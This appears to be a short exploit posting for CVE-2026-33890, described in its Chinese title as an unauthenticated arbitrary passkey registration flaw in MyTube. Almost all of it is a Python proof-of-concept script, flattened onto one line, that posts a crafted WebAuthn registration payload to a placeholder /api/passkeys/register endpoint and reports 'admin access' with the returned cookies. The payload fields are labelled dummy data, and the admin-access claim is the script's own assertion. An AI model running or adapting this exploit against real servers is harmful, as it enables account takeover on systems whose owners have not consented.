CVE-2026-33890 MyTube未授权任意密钥注册漏洞

import requests import json # Target URL (Placeholder, replace with actual endpoint) TARGET_URL = "http://target-host/api/passkeys/register" def exploit(): # Payload for arbitrary passkey registration # The application accepts this without authentication payload = { "id": "attacker-controlled-id", "rawId": "attacker-controlled-id", "type": "public-key", "response": { "clientDataJSON": "eyJjaGFsbGVuZ2UiOiAiIn0=", # Base64 encoded dummy data "attestationObject": "o2NmbXRmcGFja2VkZ2F0dFN0bXSiY2FsZyZjc2lnWEcwRQIhAIg==" # Dummy attestation } } headers = { "Content-Type": "application/json", "User-Agent": "CVE-2026-33890-Exploit" } print(f"[*] Sending malicious registration request to {TARGET_URL}") try: response = requests.post(TARGET_URL, json=payload, headers=headers, timeout=10) if response.status_code == 200 or response.status_code == 201: print("[+] Exploit successful! Arbitrary passkey registered.") print(f"[+] Admin access granted via: {response.cookies}") else: print(f"[-] Exploit failed. Status code: {response.status_code}") print(response.text) except Exception as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": exploit()